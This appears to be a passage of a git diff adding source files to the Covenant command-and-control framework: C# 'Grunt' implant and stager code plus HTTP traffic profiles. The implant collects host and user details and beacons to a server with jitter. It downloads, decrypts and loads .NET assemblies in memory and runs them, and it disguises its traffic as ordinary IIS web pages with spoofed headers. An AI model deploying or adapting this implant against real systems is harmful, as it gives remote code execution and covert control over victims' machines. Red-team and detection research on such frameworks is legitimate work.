{{REPLACE_PROFILE_HTTP_COOKIES}} + string ProfileHttpGetResponse = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}"; + string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}"; + string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}"; + + string IPAddress = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString(); + foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName())) + { + if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) + { + IPAddress = a.ToString(); + break; + } + } + string OperatingSystem = Environment.OSVersion.ToString(); + string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName; + int Integrity = 2; + if (Environment.UserName.ToLower() == "system") + { + Integrity = 4; + } + else + { + var identity = WindowsIdentity.GetCurrent(); + if (identity.Owner != identity.User) + { + Integrity = 3; + } + } + string UserDomainName = Environment.UserDomainName; + string UserName = Environment.UserName; + + string RegisterBody = @"{ ""id"": " + Convert.ToString(Id) + @", ""name"": """ + Name + @""", ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""operatingSystem"": """ + OperatingSystem + @""" }"; + GruntMessenger messenger = new GruntMessenger + ( + Id, Name, CovenantURI, + CovenantCertHash, SessionKey, + RegisterBody, + ProfileHttpHeaderNames, ProfileHttpHeaderValues, + ProfileHttpUrls, ProfileHttpCookies, + ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse + ); + TaskHandler taskSender = new TaskHandler(); + EventHandler taskHandler = (sender, eventArgs) => + { + messenger.PostMessage(eventArgs.output, eventArgs.message.name); + }; + taskSender.TaskCompleted += taskHandler; + Random rnd = new Random(); + int ConnectAttemptCount = 0; + bool alive = true; + while (alive) + { + Thread.Sleep((Delay + rnd.Next(Jitter)) * 1000); + try + { + GruntTaskingMessage message = messenger.GetMessage(""); + if (message != null) + { + ConnectAttemptCount = 0; + if (message.type == GruntTaskingType.Assembly) + { + string[] pieces = message.message.Split(','); + if (pieces.Length > 0) + { + object[] parameters = null; + if (pieces.Length > 1) { parameters = new object[pieces.Length - 1]; } + for (int i = 1; i < pieces.Length; i++) { parameters [i-1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i])); } + byte[] compressedBytes = Convert.FromBase64String(pieces[0]); + byte[] decompressedBytes = Utilities.Decompress(compressedBytes); + Assembly gruntTask = Assembly.Load(decompressedBytes); + new Thread(() => taskSender.ExecuteTask(gruntTask, parameters, message)).Start(); + } + } + else if (message.type == GruntTaskingType.Set) + { + GruntSetTaskingType type = (GruntSetTaskingType)Enum.Parse(typeof(GruntSetTaskingType), message.message.Substring(0, message.message.IndexOf(','))); + String val = message.message.Substring(message.message.IndexOf(',') + 1); + if (type == GruntSetTaskingType.Delay) + { + Delay = int.Parse(val); + } + else if (type == GruntSetTaskingType.Jitter) + { + Jitter = int.Parse(val); + } + else if (type == GruntSetTaskingType.ConnectAttempts) + { + ConnectAttempts = int.Parse(val); + } + } + else if (message.type == GruntTaskingType.Kill) + { + messenger.PostMessage("Killed", message.name); + return; + } + } + } + catch (Exception) + { + ConnectAttemptCount++; + if (ConnectAttemptCount >= ConnectAttempts) { return; } + } + } + } + catch (Exception e) { Console.Error.WriteLine(e.Message); Console.Error.WriteLine(e.StackTrace); } + } + } + + public class TaskCompletedArgs : EventArgs + { + public GruntTaskingMessage message { get; } + public String output { get; } + + public TaskCompletedArgs(GruntTaskingMessage message, String output) + { + this.message = message; + this.output = output; + } + } + + public class TaskHandler + { + public event EventHandler TaskCompleted; + public void ExecuteTask(Assembly task, Object[] parameters, GruntTaskingMessage message) + { + string output = ""; + try + { + var results = task.GetType("Task").GetMethod("Execute").Invoke(null, parameters); + if (results != null) { output = (string)results; } + TaskCompleted?.Invoke(this, new TaskCompletedArgs(message, output)); + } + catch (Exception e) + { TaskCompleted?.Invoke(this, new TaskCompletedArgs(message, "TaskHandler Exception: " + e.Message + "\n" + e.StackTrace)); } + } + } + + public class GruntMessenger + { + private int GruntId { get; } + private string GruntName { get; } + private string CovenantURI { get; } + private Aes SessionKey { get; } + private string CookieAuthKey { get; } = ""; + + private List ProfileHttpHeaderNames { get; } + private List ProfileHttpHeaderValues { get; } + private List ProfileHttpUrls { get; } + private List ProfileHttpCookies { get; } + private string ProfileHttpGetResponse { get; } = ""; + private string ProfileHttpPostRequest { get; } = ""; + private string ProfileHttpPostResponse { get; } = ""; + + private Random Random { get; } = new Random(); + + private WebClient CovenantClient { get; set; } = new WebClient(); + + public GruntMessenger(int Id, string Name, string CovenantURI, string CovenantCertHash, Aes SessionKey, string RegisterBody, List ProfileHttpHeaderNames, List ProfileHttpHeaderValues, List ProfileHttpUrls, List ProfileHttpCookies, string ProfileHttpGetResponse, string ProfileHttpPostRequest, string ProfileHttpPostResponse) + { + this.GruntId = Id; + this.GruntName = Name; + this.CovenantURI = CovenantURI; + this.SessionKey = SessionKey; + CovenantClient.Proxy = WebRequest.DefaultWebProxy; + CovenantClient.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; + if (CovenantCertHash != "") + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) => + { + return cert.GetCertHashString() == CovenantCertHash; + }; + } + this.ProfileHttpHeaderNames = ProfileHttpHeaderNames; + this.ProfileHttpHeaderValues = ProfileHttpHeaderValues; + this.ProfileHttpUrls = ProfileHttpUrls; + this.ProfileHttpCookies = ProfileHttpCookies; + this.ProfileHttpGetResponse = ProfileHttpGetResponse; + this.ProfileHttpPostRequest = ProfileHttpPostRequest; + this.ProfileHttpPostResponse = ProfileHttpPostResponse; + + this.CookieAuthKey = this.PostMessage(RegisterBody, "", GruntEncryptedMessageType.Register).Replace("\"", ""); + } + + public string PostMessage(string message, string meta, GruntEncryptedMessageType messageType = GruntEncryptedMessageType.PostTask) + { + string path = this.ProfileHttpUrls[Random.Next(this.ProfileHttpUrls.Count)]; + GruntEncryptedMessage postMessage = this.Create(Common.GruntEncoding.GetBytes(message), meta, messageType); + this.CovenantClient.Headers.Clear(); + for(int i = 0; i < ProfileHttpHeaderValues.Count; i++) { this.CovenantClient.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } + if (this.CookieAuthKey != "") + { + this.CovenantClient.Headers.Set(HttpRequestHeader.Cookie, this.ProfileHttpCookies[Random.Next(this.ProfileHttpCookies.Count)] + "=" + this.CookieAuthKey); + } + string messageString = GruntEncryptedMessage.ToJson(postMessage); + string transformedMessage = Utilities.HttpMessageTransform.Transform(Common.GruntEncoding.GetBytes(messageString)); + string data = String.Format(this.ProfileHttpPostRequest, transformedMessage); + string response = CovenantClient.UploadString(this.CovenantURI + path, data); + if (response.Length < 3) { return ""; } + + string extracted = Utilities.Parse(response, this.ProfileHttpPostResponse)[0]; + string invertedMessage = Common.GruntEncoding.GetString(Utilities.HttpMessageTransform.Invert(extracted)); + GruntEncryptedMessage responseMessage = GruntEncryptedMessage.FromJson(invertedMessage); + if (!responseMessage.VerifyHMAC(SessionKey.Key)) { throw new GruntHMACVerifyException(); } + return Common.GruntEncoding.GetString(Utilities.AesDecrypt(responseMessage, SessionKey.Key)); + } + + public GruntTaskingMessage GetMessage(string meta) + { + string path = this.ProfileHttpUrls[Random.Next(this.ProfileHttpUrls.Count)]; + this.CovenantClient.Headers.Clear(); + for(int i = 0; i < ProfileHttpHeaderValues.Count; i++) { this.CovenantClient.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } + if (this.CookieAuthKey != "") + { + this.CovenantClient.Headers.Set(HttpRequestHeader.Cookie, this.ProfileHttpCookies[Random.Next(this.ProfileHttpCookies.Count)] + "=" + this.CookieAuthKey); + } + string response = CovenantClient.DownloadString(this.CovenantURI + path); + string extracted = Utilities.Parse(response, this.ProfileHttpPostResponse)[0]; + + if (extracted.Length < 3) { return null; } + string invertedMessage = Common.GruntEncoding.GetString(Utilities.HttpMessageTransform.Invert(extracted)); + GruntEncryptedMessage responseMessage = GruntEncryptedMessage.FromJson(invertedMessage); + if (!responseMessage.VerifyHMAC(this.SessionKey.Key)) { throw new GruntHMACVerifyException(); } + String decryptedString = Common.GruntEncoding.GetString(Utilities.AesDecrypt(responseMessage, this.SessionKey.Key)); + GruntTaskingMessage taskingMessage = GruntTaskingMessage.FromJson(decryptedString); + return taskingMessage; + } + + public GruntEncryptedMessage Create(byte[] message, string meta, GruntEncryptedMessageType type = GruntEncryptedMessageType.PostTask) + { + byte[] encryptedMessagePacket = Utilities.AesEncrypt(message, SessionKey.Key); + byte[] encryptionIV = new byte[Common.AesIVLength]; + Buffer.BlockCopy(encryptedMessagePacket, 0, encryptionIV, 0, Common.AesIVLength); + byte[] encryptedMessage = new byte[encryptedMessagePacket.Length - Common.AesIVLength]; + Buffer.BlockCopy(encryptedMessagePacket, Common.AesIVLength, encryptedMessage, 0, encryptedMessagePacket.Length - Common.AesIVLength); + + byte[] hmac = Utilities.ComputeHMAC(encryptedMessage, SessionKey.Key); + return new GruntEncryptedMessage + { + Id = GruntId, + Name = GruntName, + Type = type, + Meta = meta, + EncryptedMessage = Convert.ToBase64String(encryptedMessage), + IV = Convert.ToBase64String(encryptionIV), + HMAC = Convert.ToBase64String(hmac) + }; + } + } + + public enum GruntTaskingType + { + Assembly, + Set, + Kill + } + + public enum GruntSetTaskingType + { + Delay, + Jitter, + ConnectAttempts + } + + public class GruntTaskingMessage + { + public GruntTaskingType type { get; set; } + public String name { get; set; } + public String message { get; set; } + + private static string GruntTaskingMessageFormat = @"{{""type"":""{0}"",""name"":""{1}"",""message"":""{2}""}}"; + public static GruntTaskingMessage FromJson(string message) + { + List parseList = Utilities.Parse(message, GruntTaskingMessageFormat.Replace("{{", "{").Replace("}}", "}")); + if (parseList.Count < 3) { return null; } + return new GruntTaskingMessage + { + type = (GruntTaskingType) Enum.Parse(typeof(GruntTaskingType), parseList[0], true), + name = parseList[1], + message = parseList[2] + }; + } + + public static string ToJson(GruntTaskingMessage message) + { + return String.Format( + GruntTaskingMessageFormat, + message.type.ToString("D"), + Utilities.JavaScriptStringEncode(message.name), + Utilities.JavaScriptStringEncode(message.message) + ); + } + } + + public enum GruntEncryptedMessageType + { + Stage0, + Stage1, + Stage2, + Register, + GetTask, + PostTask + } + + public class GruntEncryptedMessage + { + public int Id { get; set; } = 0; + public string Name { get; set; } = ""; + public GruntEncryptedMessageType Type { get; set; } = GruntEncryptedMessageType.GetTask; + public string Meta { get; set; } = ""; + public string IV { get; set; } = ""; + public string EncryptedMessage { get; set; } = ""; + public string HMAC { get; set; } = ""; + + public bool VerifyHMAC(byte[] Key) + { + if (EncryptedMessage == "" || HMAC == "" || Key.Length == 0) { return false; } + try + { + var hashedBytes = Convert.FromBase64String(this.EncryptedMessage); + return Utilities.VerifyHMAC(hashedBytes, Convert.FromBase64String(this.HMAC), Key); + } + catch + { + return false; + } + } + + private static string GruntEncryptedMessageFormat = @"{{""Id"":{0},""Name"":""{1}"",""Type"":{2},""Meta"":""{3}"",""IV"":""{4}"",""EncryptedMessage"":""{5}"",""HMAC"":""{6}""}}"; + public static GruntEncryptedMessage FromJson(string message) + { + List parseList = Utilities.Parse(message, GruntEncryptedMessageFormat.Replace("{{", "{").Replace("}}", "}")); + if (parseList.Count < 7) { return null; } + return new GruntEncryptedMessage + { + Id = int.Parse(parseList[0]), + Name = parseList[1], + Type = (GruntEncryptedMessageType) int.Parse(parseList[2]), + Meta = parseList[3], + IV = parseList[4], + EncryptedMessage = parseList[5], + HMAC = parseList[6] + }; + } + + public static string ToJson(GruntEncryptedMessage message) + { + return String.Format( + GruntEncryptedMessageFormat, + message.Id.ToString(), + Utilities.JavaScriptStringEncode(message.Name), + message.Type.ToString("D"), + Utilities.JavaScriptStringEncode(message.Meta), + Utilities.JavaScriptStringEncode(message.IV), + Utilities.JavaScriptStringEncode(message.EncryptedMessage), + Utilities.JavaScriptStringEncode(message.HMAC) + ); + } + } + + public static class Common + { + public static int AesIVLength = 16; + public static CipherMode AesCipherMode = CipherMode.CBC; + public static PaddingMode AesPaddingMode = PaddingMode.PKCS7; + public static Encoding GruntEncoding = Encoding.UTF8; + } + + public class GruntHMACVerifyException : Exception + { } + + public static class Utilities + { + // Returns IV (16 bytes) + EncryptedData byte array + public static byte[] AesEncrypt(byte[] data, byte[] key) + { + Aes SessionKey = Aes.Create(); + SessionKey.Mode = Common.AesCipherMode; + SessionKey.Padding = Common.AesPaddingMode; + SessionKey.GenerateIV(); + SessionKey.Key = key; + + byte[] encrypted = SessionKey.CreateEncryptor().TransformFinalBlock(data, 0, data.Length); + byte[] result = new byte[SessionKey.IV.Length + encrypted.Length]; + Buffer.BlockCopy(SessionKey.IV, 0, result, 0, SessionKey.IV.Length); + Buffer.BlockCopy(encrypted, 0, result, SessionKey.IV.Length, encrypted.Length); + return result; + } + + // Data should be of format: IV (16 bytes) + EncryptedBytes + public static byte[] AesDecrypt(byte[] data, byte[] key) + { + Aes SessionKey = Aes.Create(); + byte[] iv = new byte[Common.AesIVLength]; + Buffer.BlockCopy(data, 0, iv, 0, Common.AesIVLength); + SessionKey.IV = iv; + SessionKey.Key = key; + byte[] encryptedData = new byte[data.Length - Common.AesIVLength]; + Buffer.BlockCopy(data, Common.AesIVLength, encryptedData, 0, data.Length - Common.AesIVLength); + byte[] decrypted = SessionKey.CreateDecryptor().TransformFinalBlock(encryptedData, 0, encryptedData.Length); + + return decrypted; + } + + // Convenience method for decrypting an EncryptedMessagePacket + public static byte[] AesDecrypt(GruntEncryptedMessage encryptedMessage, byte[] key) + { + byte[] iv = Convert.FromBase64String(encryptedMessage.IV); + byte[] encrypted = Convert.FromBase64String(encryptedMessage.EncryptedMessage); + byte[] combined = new byte[iv.Length + encrypted.Length]; + Buffer.BlockCopy(iv, 0, combined, 0, iv.Length); + Buffer.BlockCopy(encrypted, 0, combined, iv.Length, encrypted.Length); + + return AesDecrypt(combined, key); + } + + public static byte[] ComputeHMAC(byte[] data, byte[] key) + { + HMACSHA256 SessionHmac = new HMACSHA256(key); + return SessionHmac.ComputeHash(data); + } + + public static bool VerifyHMAC(byte[] hashedBytes, byte[] hash, byte[] key) + { + HMACSHA256 hmac = new HMACSHA256(key); + byte[] calculatedHash = hmac.ComputeHash(hashedBytes); + // Should do double hmac? + return Convert.ToBase64String(calculatedHash) == Convert.ToBase64String(hash); + } + + public static byte[] Decompress(byte[] compressed) + { + using (MemoryStream inputStream = new MemoryStream(compressed.Length)) + { + inputStream.Write(compressed, 0, compressed.Length); + inputStream.Seek(0, SeekOrigin.Begin); + using (MemoryStream outputStream = new MemoryStream()) + { + using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress)) + { + byte[] buffer = new byte[4096]; + int bytesRead; + while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0) + { + outputStream.Write(buffer, 0, bytesRead); + } + } + return outputStream.ToArray(); + } + } + } + + public static List Parse(string data, string format) + { + format = Regex.Escape(format).Replace("\\{", "{"); + if(format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); } + if(format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); } + if(format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); } + if(format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); } + if(format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); } + if(format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); } + if(format.Contains("{6}")) { format = format.Replace("{6}", "(?'group6'.*)"); } + Match match = new Regex(format).Match(data); + List matches = new List(); + if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); } + if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); } + if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); } + if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); } + if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); } + if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); } + if (match.Groups["group6"] != null) { matches.Add(match.Groups["group6"].Value); } + return matches; + } + + // Adapted from https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web/HttpUtility.cs + public static string JavaScriptStringEncode(string value) + { + if (String.IsNullOrEmpty(value)) { return String.Empty; } + int len = value.Length; + bool needEncode = false; + char c; + for (int i = 0; i < len; i++) + { + c = value[i]; + if (c >= 0 && c <= 31 || c == 34 || c == 39 || c == 60 || c == 62 || c == 92) + { + needEncode = true; + break; + } + } + if (!needEncode) { return value; } + + var sb = new StringBuilder(); + for (int i = 0; i < len; i++) + { + c = value[i]; + if (c >= 0 && c <= 7 || c == 11 || c >= 14 && c <= 31 || c == 39 || c == 60 || c == 62) + { + sb.AppendFormat("\\u{0:x4}", (int)c); + } + else + { + switch ((int)c) + { + case 8: + sb.Append("\\b"); + break; + case 9: + sb.Append("\\t"); + break; + case 10: + sb.Append("\\n"); + break; + case 12: + sb.Append("\\f"); + break; + case 13: + sb.Append("\\r"); + break; + case 34: + sb.Append("\\\""); + break; + case 92: + sb.Append("\\\\"); + break; + default: + sb.Append(c); + break; + } + } + } + return sb.ToString(); + } + + // {{REPLACE_PROFILE_HTTP_TRANSFORM}} + } +} \ No newline at end of file diff --git a/Covenant/Data/Grunt/GruntStager.cs b/Covenant/Data/Grunt/GruntStager.cs new file mode 100644 index 00000000..f1ed32ca --- /dev/null +++ b/Covenant/Data/Grunt/GruntStager.cs @@ -0,0 +1,183 @@ +using System; +using System.IO; +using System.IO.Compression; +using System.Net; +using System.Text; +using System.Reflection; +using System.Collections.Generic; +using System.Security.Cryptography; +using System.Text.RegularExpressions; + +namespace Grunt +{ + public class GruntStager + { + public GruntStager() + { + ExecuteStager(); + } + public static void Main() + { + new GruntStager(); + } + public static void Execute() + { + new GruntStager(); + } + public void ExecuteStager() + { + try + { + string CovenantURI = @"{{REPLACE_COVENANT_URI}}"; + string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}"; + List ProfileHttpHeaderNames = new List(); + List ProfileHttpHeaderValues = new List(); + // {{REPLACE_PROFILE_HTTP_HEADERS}} + List ProfileHttpUrls = new List(); + // {{REPLACE_PROFILE_HTTP_URLS}} + string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}"; + string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}"; + + Random randomUrl = new Random(); + int Id = Convert.ToInt32(@"{{REPLACE_GRUNT_ID}}"); + string Name = @"{{REPLACE_GRUNT_NAME}}"; + byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}"); + string MessageFormat = @"{{ ""Id"": {0}, ""Name"": ""{1}"", ""Type"": {2}, ""IV"": ""{3}"", ""EncryptedMessage"": ""{4}"", ""HMAC"": ""{5}"" }}"; + + Aes SetupAESKey = Aes.Create(); + SetupAESKey.Mode = CipherMode.CBC; + SetupAESKey.Padding = PaddingMode.PKCS7; + SetupAESKey.Key = SetupKeyBytes; + SetupAESKey.GenerateIV(); + HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes); + RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters()); + + byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false)); + byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length); + byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey); + + string Stage0Body = String.Format(MessageFormat, Id, Name, "0", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash)); + WebClient wc = new WebClient(); + wc.Proxy = WebRequest.DefaultWebProxy; + wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; + for(int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } + if (CovenantCertHash != "") + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) => + { + return cert.GetCertHashString() == CovenantCertHash; + }; + } + string transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body)); + string Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[randomUrl.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", ""); + string extracted = Parse(Stage0Response, ProfileHttpPostResponse); + extracted = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted)); + string Gid = extracted.Substring(0, extracted.IndexOf(",")); + Id = Convert.ToInt32(Gid); + string cut = extracted.Substring(Gid.Length + 1); + Name = cut.Substring(0, cut.IndexOf(",")); + cut = cut.Substring(Name.Length + 1); + string iv64str = cut.Substring(0, cut.IndexOf(",")); + cut = cut.Substring(iv64str.Length + 1); + string message64str = cut.Substring(0, cut.IndexOf(",")); + string hash64str = cut.Substring(message64str.Length + 1); + byte[] messageBytes = Convert.FromBase64String(message64str); + if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } + + SetupAESKey.IV = Convert.FromBase64String(iv64str); + byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); + byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true); + + Aes SessionKey = Aes.Create(); + SessionKey.Mode = CipherMode.CBC; + SessionKey.Padding = PaddingMode.PKCS7; + SessionKey.Key = FullyDecrypted; + SessionKey.GenerateIV(); + hmac = new HMACSHA256(SessionKey.Key); + + byte[] challenge1 = new byte[4]; + RandomNumberGenerator rng = RandomNumberGenerator.Create(); + rng.GetBytes(challenge1); + byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length); + hash = hmac.ComputeHash(EncryptedChallenge1); + + for(int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } + string Stage1Body = String.Format(MessageFormat, Id, Name, "1", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash)); + transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body)); + string Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[randomUrl.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", ""); + extracted = Parse(Stage1Response, ProfileHttpPostResponse); + extracted = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted)); + iv64str = extracted.Substring(0, extracted.IndexOf(",")); + cut = extracted.Substring(iv64str.Length + 1); + message64str = cut.Substring(0, cut.IndexOf(",")); + hash64str = extracted.Substring(iv64str.Length + message64str.Length + 2); + + messageBytes = Convert.FromBase64String(message64str); + if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } + SessionKey.IV = Convert.FromBase64String(iv64str); + + byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); + byte[] challenge1Test = new byte[4]; + byte[] challenge2 = new byte[4]; + Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4); + Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4); + if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; } + + SessionKey.GenerateIV(); + byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length); + hash = hmac.ComputeHash(EncryptedChallenge2); + + for(int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } + string Stage2Body = String.Format(MessageFormat, Id, Name, "2", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash)); + transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body)); + string Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[randomUrl.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", ""); + extracted = Parse(Stage2Response, ProfileHttpPostResponse); + extracted = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted)); + iv64str = extracted.Substring(0, extracted.IndexOf(",")); + cut = extracted.Substring(iv64str.Length + 1); + message64str = cut.Substring(0, cut.IndexOf(",")); + hash64str = extracted.Substring(iv64str.Length + message64str.Length + 2); + messageBytes = Convert.FromBase64String(message64str); + if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } + + SessionKey.IV = Convert.FromBase64String(iv64str); + byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); + Assembly gruntAssembly = Assembly.Load(DecryptedAssembly); + gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { SessionKey }); + } + catch (Exception e) { Console.Error.WriteLine(e.Message); } + } + private static string Parse(string data, string format) + { + format = Regex.Escape(format).Replace("\\{", "{"); + format = format.Replace("{0}", string.Format("(?'group{0}'.*)", 0)); + Match match = new Regex(format).Match(data); + return match.Groups["group0"].Value; + } + + private static byte[] Decompress(byte[] compressed) + { + using (MemoryStream inputStream = new MemoryStream(compressed.Length)) + { + inputStream.Write(compressed, 0, compressed.Length); + inputStream.Seek(0, SeekOrigin.Begin); + using (MemoryStream outputStream = new MemoryStream()) + { + using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress)) + { + byte[] buffer = new byte[4096]; + int bytesRead; + while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0) + { + outputStream.Write(buffer, 0, bytesRead); + } + } + return outputStream.ToArray(); + } + } + } + + // {{REPLACE_PROFILE_HTTP_TRANSFORM}} + } +} \ No newline at end of file diff --git a/Covenant/Data/Profiles/CustomHttpProfile.yaml b/Covenant/Data/Profiles/CustomHttpProfile.yaml new file mode 100644 index 00000000..10bfe33d --- /dev/null +++ b/Covenant/Data/Profiles/CustomHttpProfile.yaml @@ -0,0 +1,42 @@ +# Author: Ryan Cobb (@cobbr_io) +# Project: Covenant (https://github.com/cobbr/Covenant) +# License: GNU GPLv3 + +Name: CustomHttpProfile.yaml +HttpUrls: + - /index.html + - /home/index + - /login.aspx + - /home/login.aspx +HttpCookies: + - ASPSESSIONID + - SESSIONID +HttpMessageTransform: 'public static class HttpMessageTransform { public static string Transform(byte[] bytes) { return System.Convert.ToBase64String(bytes); } public static byte[] Invert(string str) { return System.Convert.FromBase64String(str); } }' +HttpRequestHeaders: + - Name: User-Agent + Value: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 +HttpPostRequest: | + i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73 +HttpResponseHeaders: + - Name: Server + Value: Microsoft-IIS/7.5 +HttpGetResponse: | + + + Hello World! + + +

Hello World!

+ // Hello World! {0} + + +HttpPostResponse: | + + + Hello World! + + +

Hello World!

+ // Hello World! {0} + + \ No newline at end of file diff --git a/Covenant/Data/Profiles/DefaultHttpProfile.yaml b/Covenant/Data/Profiles/DefaultHttpProfile.yaml new file mode 100644 index 00000000..060649e8 --- /dev/null +++ b/Covenant/Data/Profiles/DefaultHttpProfile.yaml @@ -0,0 +1,42 @@ +# Author: Ryan Cobb (@cobbr_io) +# Project: Covenant (https://github.com/cobbr/Covenant) +# License: GNU GPLv3 + +Name: DefaultHttpProfile.yaml +HttpUrls: + - /index.html + - /home/index + - /login.aspx + - /home/login.aspx +HttpCookies: + - ASPSESSIONID + - SESSIONID +HttpMessageTransform: 'public static class HttpMessageTransform { public static string Transform(byte[] bytes) { return System.Convert.ToBase64String(bytes); } public static byte[] Invert(string str) { return System.Convert.FromBase64String(str); } }' +HttpRequestHeaders: + - Name: User-Agent + Value: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 +HttpPostRequest: | + i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73 +HttpResponseHeaders: + - Name: Server + Value: Microsoft-IIS/7.5 +HttpGetResponse: | + + + Hello World! + + +

Hello World!

+ // Hello World! {0} + + +HttpPostResponse: | + + + Hello World! + + +

Hello World!

